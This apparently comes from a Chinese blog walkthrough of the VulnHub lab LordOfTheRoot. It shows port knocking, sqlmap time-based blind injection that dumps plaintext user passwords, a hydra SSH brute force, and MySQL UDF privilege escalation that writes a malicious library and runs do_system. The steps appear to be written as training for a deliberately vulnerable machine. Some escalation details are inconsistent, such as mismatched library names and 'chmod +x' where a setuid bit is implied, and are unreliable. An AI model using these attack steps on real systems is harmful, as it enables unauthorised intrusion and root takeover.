vulnhub（13）：LordOfTheRoot（sql时间盲注、mysql udf提权）

最新推荐文章于 2024-09-28 13:51:46 发布

anddddoooo

最新推荐文章于 2024-09-28 13:51:46 发布

阅读量968

点赞数 17

分类专栏： vulnhub oscp-like靶场文章标签： mysql 数据库 web安全网络安全安全网络 linux

本文链接：https://blog.csdn.net/anddddoooo/article/details/142454816

版权

vulnhub oscp-like靶场专栏收录该内容

13 篇文章 0 订阅

订阅专栏

端口

nmap主机发现

nmap -sn 192.168.72.0/24

Nmap scan report for 192.168.72.170
Host is up (0.00020s latency).

170是新出现的机器，他就是靶机

nmap端口扫描

nmap -Pn 192.168.72.170 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下

PORT      STATE SERVICE                                                                                    
22/tcp open  ssh                                                     
 
发现开放1个端口

nmap -Pn -sU 192.168.72.170 -p- --min-rate 
尝试udp扫描，当然结果什么都没有

说不定ssh可以登录：
ssh 192.168.72.170

看字：knock friend to enter
简单介绍一下：knock工作就是管理员设定的按照一定规则去按顺序去knock某些端口后，会执行管理员写好的代码
主要用于隐蔽，在这里很可能是knock某些端口后，会执行其他开放端口的代码
（介绍一下应用场景，与当前靶机无关，比如为了隐蔽使ssh端口默认处于关闭状态，knock特定规则的端口ssh端口开启，然后为了再次隐蔽，knock特定端口使得ssh用完后关闭，当然knock端口可以由管理员设置）

看到下方的 Easy as 1，2，3
我们直接：knock 192.168.72.170 1 2 3 

nmap再扫描一次
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste

nmap -sT -sC -sV -O -p22,1337 -oA nmap/info 192.168.72.170 

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c3de38e35f9da7420efaa494a1deddd (DSA)
|   2048 85946c87c9a8350f2cdbbbc13f2a50c1 (RSA)
|   256 f3cdaa1d05f21e8c618725b6f4344537 (ECDSA)
|_  256 34ec16dda7cf2a8645ec65ea05438921 (ED25519)
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

立足

主页是张图片，主页源代码页面就是图片链接，其他什么都没有，尝试查看其他目录

robots.txt:
居然也是张图片，查看源代码页面：

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

推荐网站：https://hashes.com/zh/decrypt/hash

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh:Lzk3ODM0NTIxMC9pbmRleC5waHA

Lzk3ODM0NTIxMC9pbmRleC5waHA:/978345210/index.php

抓包sqlmap跑一下，sqlmap真吊，站在巨人得肩膀上

POST /978345210/ HTTP/1.1
Host: 192.168.72.170:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://192.168.72.170:1337
Connection: close
Referer: http://192.168.72.170:1337/978345210/
Cookie: PHPSESSID=hniik3khi6l5fh1f9asb58sk30
Upgrade-Insecure-Requests: 1

username=asdas&password=asdasd&submit=+Login+

sqlmap -r raj --batch --dbs --time-sec 1

这里--time-sec 1是因为发现了时间盲注，为了节约时间设置等待时间为1

4个数据库
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

看Webapp数据库：sqlmap -r raj --batch --dbs -D Webapp -tables --time-sec 1

一个表：
Database: Webapp
[1 table]
+-------+
| Users |
+-------+

看这个表的字段：
sqlmap -r raj --batch --dbs -D Webapp -T Users --columns --time-sec 1 
Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

字段不多直接--dump-all这张表：sqlmap -r raj --batch --dbs -D Webapp -T Users --dump-all --time-sec 1

Database: Webapp
Table: Users
[5 entries]
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+

制作字典

将
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+
放在user_pass.txt

然后分别制作password.txt 和username.txt字典：
cat user_pass.txt | awk -F '|' {'print $3'} | tr -d ' ' > password.txt
cat user_pass.txt | awk -F '|' {'print $4'} | tr -d ' ' > username.txt

hydra爆破

hydra -L username.txt -P password.txt 192.168.72.170 ssh 

结果：[22][ssh] host: 192.168.72.170   login: smeagol   password: MyPreciousR00t

提权

有sql注入我们直接前往：/var/www

在/var/www/978345210/login.php我们看到如下内容：
$db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp');

mysql用root登录，看看是否udf提权

searchsploit mysql udf
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) 

mysql udf是mysql的用户自定义函数，我们将函数存放在动态链接库中，那么这个动态链接库的所有者就是mysql创建udf时所使用的用户，恰好现在以root身份登录mysql，代表着我们能使用root将udf写入一个动态链接库，提权需要调用这个恶意函数，这还需要我们借助mysql的root权限来调用恶意函数

mysql udf提权步骤

1.编译：
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

2.登录：mysql -u root -p

3.创建表（这个表的作用就是借助mysql的root用户将恶意动态链接库写入/usr/lib/下）：
mysql> use mysql;
mysql> create table foo(line blob);

4.写入恶意动态链接库：
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

5.创建udf
mysql> create function do_system returns integer soname 'raptor_udf2.so';

6.查看是否成功
mysql> select * from mysql.func;

7.执行提权代码
mysql> select do_system('cp /bin/sh /tmp/rootsh;chmod +x /tmp/rootsh');
这里说明一下为什么不拷贝/bin/bash，因为执行后bash会比对ruid和euid是否相同，如果不相同就降权到ruid，我们执行的话ruid是smeagol而euid是root，降权到smeagol

root
cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

mysql udf提权条件：

1.可登录的mysql用户具有root权限
2.secure_file_priv 有些设置选项:
SHOW VARIABLES LIKE 'secure_file_priv';
如果为空，不做目录限制，即任何目录均可以。
如果指定了目录，MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在，MySQL 不会自动创建该目录。
如果设置为 NULL，MySQL 服务器禁止导入与导出功能。

次靶机
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+